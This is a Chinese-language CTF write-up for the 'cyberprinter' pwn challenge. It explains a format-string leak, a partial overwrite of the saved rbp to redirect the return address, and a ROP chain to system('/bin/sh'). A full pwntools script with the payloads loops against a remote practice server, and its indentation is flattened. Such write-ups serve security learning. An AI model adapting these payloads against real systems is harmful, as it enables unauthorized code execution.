解法和官方wp略有不同,方法较为繁琐但是所需爆破次数更少。
程序主题集中在vuln函数中
上面有一个printf可以用来泄露栈中的一部分数据(我太菜了没注意到这个机会),调试的话会发现栈中有libc中函数地址,程序中的指令地址,以及rbp的值。如果能将其泄露,我们可以借此计算出libc基址,程序加载基址,我们在栈中写的数据的地址。
程序中有一个格式字符串漏洞,可以用于泄露数据,但是想要更改返回地址则较为困难。上面讲了栈中有一个指向rbp的数据,我们可以借机修改rbp的最低位字节,由于rbp处存放的是last_rbp(即main函数的rbp),这个last_rbp的值,必然是接近vuln返回地址的储存位置。我们可以通过爆破的手段来解决问题:利用栈中储存的rbp值配合%hhn,修改rbp所指向的即last_rbp的低位字节为0x78。这样,当rbp的低位为0x70,last_rbp便指向了返回地址的位置,便可以通过这个办法修改返回地址为call vuln指令。
需要注意printf在遇到$后会开辟一个缓冲区把所有用到的参数都传进去,这一会导致尽管修改了last_rbp却不能改返回地址。所以在用%hhn时不要用$。
然后再次执行vuln时可以利用栈迁移手法解决问题了,(onegadget也可以,但是用格式字符写一个六个字节的数据实在太过痛苦.....)
exp:
from pwn import *
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'
libc=ELF('/home/wjc/Desktop/libc-2.31.so')
#r=process('/home/wjc/Desktop/cyberprinter')
def Pwn():
#gdb.attach(r,'b*$rebase(0x13A0)')
r.recvuntil('Your name?pls..')
r.sendline('')
sleep(0.5)
#%8$ld
r.recvuntil("But there is sth wrong in it,so you can't do sth")
r.send('%c'*20+'%100c%hhn%c%c%101c%hhnBB%19$lu\n%22$lu\n%21$lu\n\x00')
#r.recvuntil('AAAA')
r.recvuntil('BB')
libcbase=int(r.recvline(),10)-(0x7f452a5e3dbc-0x7f452a581000)-(0x7f53bbfbe000-0x7f53bbf99000)
print('libcbase:',hex(libcbase))
rbp=int(r.recvline(),10)-(0x7ffe2e90de70-0x7ffe2e90de70)
print('rbp:',hex(rbp))
textbase=int(r.recvline(),10)-(0x561dbd8c33f0-0x561dbd8c3000)-0x1000
print('textbase:',hex(textbase))
onegadget=libcbase+0xe6af1
print('onegadget:',hex(onegadget))
system_addr=libcbase+libc.symbols['system']
print('system_addr:',hex(system_addr))
str_bin_sh=libcbase+0x1b75aa
print('str_bin_sh:',hex(str_bin_sh))
#0x0000000000026b72 : pop rdi ; ret
pop_rdi_ret=libcbase+0x26b72
print('pop_rdi_ret:',hex(pop_rdi_ret))
r.recvuntil('When you left,hope you can go wherever you want!\n')
if rbp&0xff != 0x70:
return 1
#gdb.attach(r,'b*$rebase(0x13a0)')
r.recvuntil('Your name?pls..')
r.sendline('')
sleep(0.1)
r.recvuntil("But there is sth wrong in it,so you can't do sth")
#26 rbp->ret
#24 ->rbp
n1=0xc6
n2=0x28
pay='%40c%22$hhn%158c%26$hhn'.ljust(0x48,'a')+p64(0)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)
r.sendline(pay)
r.interactive()
# r=process('/home/wjc/Desktop/cyberprinter')
# Pwn()
# r.interactive()
if __name__ == '__main__':
while True:
try:
#r=process('/home/wjc/Desktop/cyberprinter')
r=remote('node4.buuoj.cn',27833)
if Pwn() :
r.close()
continue
sleep(0.2)
r.interactive()
except:
continue